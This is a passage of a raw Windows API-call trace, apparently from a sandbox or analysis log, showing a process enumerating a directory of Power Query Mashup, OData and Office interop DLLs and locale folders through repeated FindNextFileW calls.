lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12dd5ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x91adba5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x91adba5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja", cAlternateFileName="")) returned 1 [0207.576] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfbd09866, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6d2b978, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6d2b978, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="kk", cAlternateFileName="")) returned 1 [0207.576] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12b7378, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x5101cbd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5101cbd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko", cAlternateFileName="")) returned 1 [0207.576] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6bad1cb, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x22f6470, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x22f6470, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt", cAlternateFileName="")) returned 1 [0207.576] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00d5872, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x59f29de, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x59f29de, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv", cAlternateFileName="")) returned 1 [0207.576] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf80afe67, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf80afe67, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf80afe67, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xee40, dwReserved0=0x0, dwReserved1=0x0, cFileName="mashupcompression.dll", cAlternateFileName="MASHUP~1.DLL")) returned 1 [0207.576] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf5afc9d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5afc9d3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf618b1a4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa08b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Data.Edm.NetFX35.dll", cAlternateFileName="MIE429~1.DLL")) returned 1 [0207.577] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5174318, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5174318, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5174318, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1610c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Data.OData.NetFX35.dll", cAlternateFileName="MI37F8~1.DLL")) returned 1 [0207.577] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6aef645, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6aef645, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b15891, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2c068, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Data.OData.Query.NetFX35.dll", cAlternateFileName="MI8F9F~1.DLL")) returned 1 [0207.577] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfe368d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xfe368d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1698075, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x112040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Exchange.WebServices.dll", cAlternateFileName="MIE0C3~1.DLL")) returned 1 [0207.577] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x670f8d9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x670f8d9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x670f8d9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x217840, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.dll", cAlternateFileName="MI0E0A~1.DLL")) returned 1 [0207.577] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45f9db0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf45f9db0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf45f9db0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6840, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.EditorRibbon.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0207.577] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4d20ecd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4d20ecd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5a3de35, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x32a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Initialization.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0207.577] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf7bc5054, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf7bc5054, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf7bc5054, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x14840, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Models.dll", cAlternateFileName="MIC507~1.DLL")) returned 1 [0207.578] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfcfa9f2d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfcfa9f2d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffd42fe2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x23a5040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.dll", cAlternateFileName="MI7BEA~1.DLL")) returned 1 [0207.578] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa8619f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa8619f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb91216, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x48d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Container.exe", cAlternateFileName="MICROS~2.EXE")) returned 1 [0207.578] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x88e2fa3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x88e2fa3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x92201bc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5070, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Container.NetFX40.exe", cAlternateFileName="MICROS~3.EXE")) returned 1 [0207.578] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6d76e38, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6d76e38, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6de953e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ad0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Container.NetFX45.exe", cAlternateFileName="MICROS~1.EXE")) returned 1 [0207.578] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf7b9ee02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf7b9ee02, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf7b9ee02, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1e0ea8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.dll", cAlternateFileName="MI8E0B~1.DLL")) returned 1 [0207.578] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6bd443f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6bd443f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6bd443f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc2040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.XmlSerializers.dll", cAlternateFileName="MI7AD6~1.DLL")) returned 1 [0207.578] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6b87f8e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6b87f8e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6bae279, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xcaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.OAuth.dll", cAlternateFileName="MIADE9~1.DLL")) returned 1 [0207.578] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4704e3d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4704e3d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf472b09c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x9040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.OleDbInterop.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0207.579] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd42039, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefd42039, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13240, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.OleDbProvider.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0207.579] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6ea9118, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6ea9118, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7642a1c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x23f640, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.ScriptDom.dll", cAlternateFileName="MIC995~1.DLL")) returned 1 [0207.579] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbda21cf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbda21cf, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbdc8437, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x20aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Storage.XmlSerializers.dll", cAlternateFileName="MID814~1.DLL")) returned 1 [0207.579] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3760836, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3760836, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37869c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x481440, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.dll", cAlternateFileName="MIE629~1.DLL")) returned 1 [0207.579] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x73ee48, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x73ee48, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x73ee48, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x14dac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.OData.Core.NetFX35.dll", cAlternateFileName="MIDAD6~1.DLL")) returned 1 [0207.579] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x48f5cfa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x48f5cfa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x48f5cfa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb8058, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.OData.Edm.NetFX35.dll", cAlternateFileName="MIF00B~1.DLL")) returned 1 [0207.579] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6aef645, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6aef645, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6aef645, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x17b058, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Interop.Excel.dll", cAlternateFileName="MIDE30~1.DLL")) returned 1 [0207.579] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc40a725, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc40a725, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc40a725, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xedac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Interop.Outlook.dll", cAlternateFileName="MIDB50~1.DLL")) returned 1 [0207.580] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc2b31ff, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc2b31ff, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc2b31ff, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1e4b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Spatial.NetFX35.dll", cAlternateFileName="MI069E~1.DLL")) returned 1 [0207.580] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf5afc9d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5afc9d3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5e43de4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5a0a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.WindowsAzure.StorageClient.dll", cAlternateFileName="MI3285~1.DLL")) returned 1 [0207.580] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a2a905, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6224b6a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6224b6a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ms", cAlternateFileName="")) returned 1 [0207.580] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0822be8, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6b61d36, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b61d36, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl", cAlternateFileName="")) returned 1 [0207.580] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4409f1c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8680a1e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8680a1e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="no", cAlternateFileName="")) returned 1 [0207.580] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa879350, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa879350, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6daa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office.dll", cAlternateFileName="")) returned 1 [0207.580] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf854e731, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x865a7d2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x865a7d2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl", cAlternateFileName="")) returned 1 [0207.581] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf755cb7d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6bfa6d9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6bfa6d9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0207.581] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4ba375b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-pt", cAlternateFileName="")) returned 1 [0207.581] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0063153, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro", cAlternateFileName="")) returned 1 [0207.581] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf13037fa, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf71003, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf71003, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru", cAlternateFileName="")) returned 1 [0207.581] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf42b29f3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x865a7d2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x865a7d2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk", cAlternateFileName="")) returned 1 [0207.581] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x633d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x633d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl", cAlternateFileName="")) returned 1 [0207.581] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x95505c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x95505c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133819a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x45c38, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi_x64.dll", cAlternateFileName="SQMAPI~1.DLL")) returned 1 [0207.582] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf05741b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x4cd5a2f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4cd5a2f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Cyrl", cAlternateFileName="")) returned 1 [0207.582] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6aee686, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6d05722, ftLastAccessTime.dwHighDateTime=0x1d327e8, 